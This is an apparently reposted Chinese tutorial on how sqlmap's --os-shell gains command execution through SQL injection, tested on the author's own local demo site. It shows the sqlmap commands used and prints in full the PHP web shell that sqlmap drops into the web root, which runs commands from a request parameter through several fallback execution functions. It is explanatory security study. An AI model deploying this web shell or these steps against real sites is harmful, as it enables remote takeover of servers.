sqlmap之--os-shell命令執行原理


最近也是在看sqlmap,感覺--os-shell這個命令確實很厲害,但我並不知道它的原理,所以來研究一下

環境

環境就是我本地搭的一個有sql注入漏洞的一個小demo

演示

這是我們的demo環境

 

http://10.0.173.136/SqlNum/SqlNum.php

 

 

 

用sqlmap跑一下

python2 sqlmap.py -r 11.9.txt

 

發現確實有注入

試試--os-shell命令

python2 sqlmap.py -r 11.9.txt --os-shell

選擇語言,sqlmap默認為php,此處根據需求選擇

 

 

輸入絕對路徑 

 

 

建立os-shell然后命令執行

 

 

原理研究

原理很簡單,就是用into outfile函數將一個可以用來上傳的php文件寫到網站的根目錄下

 

 

 

 然后利用tmpukjhb.php上傳了一個tmpbezal.php的文件,tmpbezal.php這個文件可以用來執行系統命令,並且將結果返回出來

tmpbezal.php代碼如下:

 1 <?php  2 $c=$_REQUEST["cmd"];  3 @set_time_limit(0);  4 @ignore_user_abort(1);  5 @ini_set('max_execution_time',0);  6 $z=@ini_get('disable_functions');  7 if(!empty($z))  8 {  9     $z=preg_replace('/[, ]+/',',',$z); 10     $z=explode(',',$z); 11     $z=array_map('trim',$z);} 12 else
13  { 14         $z=array(); 15  } 16 $c=$c." 2>&1\n"; 17 function f($n) 18 {global $z; 19 return is_callable($n)and!in_array($n,$z); 20 } 21 if(f('system')) 22 {ob_start(); 23 system($c); 24 $w=ob_get_contents(); 25 ob_end_clean(); 26 }elseif(f('proc_open')){ 27     $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t); 28     $w=NULL; 29     while(!feof($t[1])){ 30         $w.=fread($t[1],512); 31  } 32         @proc_close($y); 33 } 34     elseif(f('shell_exec')){ 35     $w=shell_exec($c); 36  } 37     elseif(f('passthru')){ 38         ob_start(); 39         passthru($c); 40         $w=ob_get_contents(); 41         ob_end_clean(); 42         }elseif(f('popen')){ 43             $x=popen($c,r); 44             $w=NULL; 45             if(is_resource($x)){ 46                 while(!feof($x)){ 47                 $w.=fread($x,512); 48  } 49  } 50                     @pclose($x); 51                     }elseif(f('exec')){ 52                         $w=array(); 53                         exec($c,$w); 54                         $w=join(chr(10),$w).chr(10); 55                         }else{ 56                             $w=0; 57  } 58                             print "</pre>".$w."</pre>";?>'''

上述代碼實現了os-shell得到了命令后,如何執行命令以及輸出執行結果到os-shell中。

因此我們可以在os-shell中執行命令。

 

os-shell的使用條件

通過上述的分析,我們知道了sqlmap os-shell參數的用法以及原理。
很多的人會對os-shell的使用進行吐槽,這是得要多大的權限才能執行。是的,os-shell的執行條件有三個

(1)網站必須是root權限

(2)攻擊者需要知道網站的絕對路徑

(3)GPC為off,php主動轉義的功能關閉


參考:

https://blog.csdn.net/whatday/article/details/102802273

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM